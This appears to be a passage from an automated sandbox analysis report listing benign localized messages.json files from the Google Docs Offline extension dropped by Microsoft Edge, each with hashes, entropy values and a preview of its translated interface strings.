Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

